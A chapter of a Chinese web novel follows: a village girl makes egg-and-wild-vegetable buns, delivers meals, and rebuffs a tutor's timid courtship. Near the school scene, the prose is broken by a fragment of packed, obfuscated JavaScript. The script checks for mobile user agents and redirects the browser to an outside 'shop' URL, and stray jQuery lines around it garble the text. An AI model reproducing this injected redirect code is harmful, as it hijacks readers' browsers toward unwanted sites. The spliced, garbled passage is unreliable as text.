默认冷灰
24号文字
方正启体

4. 第四章

作者:织就本书字数:K更新时间:
    第二日早早起来,才开门,属于早上的冷意就灌了进来。叶望山又不见,应该是趁着早上凉快吃了碗冷饭就去地里了。


    母鸡在院子里咯咯叫避开,谷子看到她立刻站起来摇尾巴。


    引线冲它瞪眼:“昨儿晚上没看见你,去找情郎了?”


    叶家的大黄狗谷子生得体格矫健,又眉清目秀的,村里不少公狗喜欢,总是追着跑,但谷子就喜欢隔壁村的一只带黑花纹的公狗,也不嫌累,每日都去。


    谷子不知道听懂了还是没听懂,尾巴却摇得更欢快了。


    吴七娘则正好撞上,提着锄草的农具草帽一副要出门的样子:“二丫头,早食我都做好了,就在锅里,你快去吃。”


    引线没理她,自去打水洗脸。


    换做平日吴七娘早就恼了,今日却一反常态忍下了,又说:“二丫头,昨日是我说错了话,你别放在心上。但实话说,这么多年日子怎么过的你也清楚,你娘的那些东西虽然是经过我手的,可我不也是用在了你们几个身上?就说你大姐出嫁时候的两个箱子,里头一半都是你娘嫁妆里的,我可一点没占。”


    引线一面洗脸一面听她不要脸的狡辩,心知她是为了什么讨好自己,也不生气也不气恼,反而问:“那我这回要嫁人,你打算给我预备多少嫁妆?”


    “那怎么能一样!”吴七娘叫道,却发现自己暴露了心思,干笑一声,企图补救,“你大姐都嫁了快三年了。更何况现在好不容易战事平定了,官府里收税的人却一拨一拨地来敲锣,咱们家里四个嘴吃饭,哪样不是钱?唉,你以后当了家你就晓得我的难处了。”


    引线依旧不咸不淡地“哦”了一声,再无接言的意思。


    吴七娘咬了咬牙,说了声去下地,脚下生风地走了。


    她一走,引线草草吃了她留的饭,开始做包子,根本没将方才的对话放在心上。


    揉好杂面放到一边发酵,再用左手将地皮菜抓一把,右手切,如此反复,没一会小半篓地皮菜就处理完毕,成了细密的一小盆碎菜。


    肉是个稀罕的东西,家里只有几块熏肉,别说加在里头能不能行,就是吴七娘也不会允许她拿来做包子。


    毕竟过年时候,吴七娘为了省做熏肉的钱,甚至跑到娘家躲了几日。


    要不是叶望山实在是觉得丢脸去将她拉回来,只怕还要继续躲下去。


    这一番折腾,到底随了她的意,家里就几块陈年熏肉,要想吃还得问她要,引线才不想低头,所以她决定用鸡蛋和馅儿。


    处理好地皮菜,她走到后头的鸡圈旁,看着里头咯咯叫的鸡因为她的到来乱成一团。


    叶家的鸡也有定数,十二只母鸡,两只公鸡。


    过年时候因为没买肉,叶望山赌气下接连杀了四只鸡,吴七娘嚎丧似地哭了半个时辰,倒是将引线和叶锦砚姐弟日日吃了个满嘴流油,过了个荤年。


    她去鸡窝看了眼,里头有两只母鸡正窝在里面,看起来快要下蛋了。


    连着柜子里的七个,和这刚下的还热乎的两个,一共九个,引线全都磕碗里搅打起来。


    她动作飞快,蛋黄和蛋清也就很快混合均匀,然后再加了半碗热水,这样待会鸡蛋煎出来能更蓬松,量也多一些。


    先将地皮菜用热水汆烫一会,再起锅倒油,油烧到过热后,加入全部鸡蛋。


    火烧的旺,很快鸡蛋液就在锅里沿着一圈慢慢凝固成形,她用铲子推开成形的,有了机会,那些还流动的蛋液一股脑往锅底去,又在热油和灶火的作用下迅速凝固。这时候不用再推了,直接用飞舞的铲子将鸡蛋炒碎,最后形成金黄色的质地的炒鸡蛋碎。


    烫好的地皮菜碎、鸡蛋碎、另外加入一把切好的野葱,再简单调味,包子馅就做好了。


    做完这些,面也发的差不多,开始动手擀面包馅。


    上锅大火蒸熟,面的发酵香气和油润馅料的味道交织在一起,惹得她津液在口中翻腾。


    第一锅熟以后,顾不得烫手,她哈着气在两个手里倒来倒去,稍微凉一点就往嘴里送,几口就吃了一个。


    做菜的手艺都是姐姐教的,她做的地皮菜包子比自己做的好吃多了。


    越是这个时候,引线就越是想念她。


    第二锅蒸上,趁着空隙她又吃了一个。


    第三锅蒸,她又吃一个。


    蒸完后数了数,一共三十二个。


    分了两拨,一份十个包子,外加两个早就干硬的饼,一壶水,这些给地里干活的叶望山和吴七娘。


    另一拨装了十五个,五个给叶锦砚,十个给周夫子。


    想了想,她又装了一小罐自己做的腌菜放进背篓。


    又看了眼还剩下的,都装了待会打算给杨家拿去。


    背篓里热气腾腾,引线要出去,谷子似乎知道她要去隔壁村,懒懒散散地爬起来,也兴冲冲跟着出去。


    快四月的天,这会出门,日头已经升到半空,有些热气蒸腾起来,她没带草帽感觉晒得慌,脚下就快了些。


    她去了杨大树家,只有最小的两个孩子在家,看她送了地皮菜包子,一个两个都高兴地喊叶二姐。


    走到田地里,放眼望去,正是春耕农忙时,都是忙着翻地修垄埋头苦干的人。


    “今日这么早?”叶望山看了一眼天,问。


    引线也不看他,将带来的包子饼和凉水拿出来,“做得早了些,还要去给小弟和夫子送。”


    叶望山“哦”了一声,看她将东西放在深草处,记了下位置就继续埋着头干活。


    父女俩个只有两句话说,引线也不觉得难受,反而自在了一些,带着谷子往南洼村去。


    南洼村上百户人家,村户林立,路也比石桥村好走,即便村塾在靠村西头的位置,也不觉得累。


    有人看到引线来,和她招呼:“叶家二丫头,今日该你家送饭了啊?”


    引线点头,算是答了她的话。


    在家时辰早,走到村塾却刚刚好,半大不小的学童一窝蜂跑出来,叶锦砚老远就看到了熟悉的身影,大喊一声:“二姐!”就跑了过来。


    “一想到今天中午吃包子,今上午一个字都没听进去,就想着包子包子了。”叶锦砚嘿嘿,鼻子嗅了嗅,拿起一个就吃了一大半,“唔,还有点热呢。”


    引线也不多话,将另外一盆包子和腌菜递给他:“周夫子的,你拿进去吧,我就不进去了。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587440|205343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >叶锦砚没心没肺,点点头,却看到明显一大包,有点愕然:“夫子哪吃得了这么多!还有腌菜,他都不吃这个!”


    “他又不是一个人,还有周举人呢。”引线瞪他,“让你拿去就拿去,别废话。”


    叶锦砚哦了一声,抱着包好的包子就要回去,却看到周蕴生走过来,连忙喊了声夫子。


    看自己一来,她就要走的样子,周蕴生赶紧喊住她:“叶姑娘,你,你等一等!”


    引线停住脚步,看他,却依然没说话。


    叶锦砚在这,周蕴生有点不好张口,清了清嗓子:“锦砚,你进去吧,我和你二姐有些事要说。”


    叶锦砚以为他要说自己昨日在学堂和人打架的事,立刻警觉:“夫子,您和我二姐有什么事要说?”


    引线知道他想说什么。


    一年多以来,周蕴生不是没对她有过暗示,她从一开始的自觉配不上,到后面厌烦他只是有意无意地暗示却并不上门提亲,因此每次送饭都喊了小弟出来就离开,就怕和他遇上扯不清楚。


    她想过了,周举人父子是读书人,又是从外头躲避进村的,不过暂时歇脚处,怎么会娶她一个村姑做媳妇?她有自知之明,还是不要沾惹麻烦的好。


    今日是个好时机,有些话说清楚了,以后才少些麻烦。


    “小弟,你进去。”引线干脆道。


    连二姐都发话了,叶锦砚也不好再问,只能心惊胆战地走了。


    “周夫子,你想说什么?”


    她这么直白,周蕴生原本准备的话都被打乱了,一时语塞,好半晌才反应过来:“叶姑娘,我,我听说你在议亲了,是不是?”


    “是,又如何?”引线有点无奈,又有点不耐烦,吴氏为了把她卖个好价钱,附近几个乡的媒人都找遍了,最近一个还是从老远的地方找来的,结果七拐八拐又说回了南洼村,若不是说巧那就只能用缘分解释了。


    见她干脆利落,原本就有些踌躇的周蕴生顿时有些惭愧,也算是鼓舞了他,因而深吸一口气,道:“叶姑娘,以你的聪明,这么久以来想必已经知道我的心意,虽然我现在无法上门提亲,不过能否请你再等一等?”


    “周夫子,”引线一怔,和周蕴生见面几回,她不是感觉不出来对方的心思,但她向来喜欢直率的人,像周蕴生这样拖拉犹豫的她别说心思,就是一点害羞都没有。而且周蕴生的身份在村里属于人人敬重,见了面都要喊一声夫子,她有自知之明,因此她没回答,反问道,“你今日对我说的,周老夫子可点了头?”


    周蕴生脸上一红,摇摇头,“不,我爹不知道。”


    引线正色看着他道:“父母之命媒妁之言,虽然我只是村中姑娘,可并不代表也能和你私底下定终身,若你要提亲,明日就是个好时候,想必我爹会很高兴。”她就是激他,若他能有这个冲劲她倒是对他刮目相看了,但引线很明白,他不会。


    果然,周蕴生原本脸上发红,这下由红转白,一个字也说不出来了。


    “既然做不到,周夫子还是别再说方才的话了,我也只当今日从没见过你,告辞。”将背篓掂了掂,东西腾空了,肩膀也松快许多,引线转身就走,一眼也没再看他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)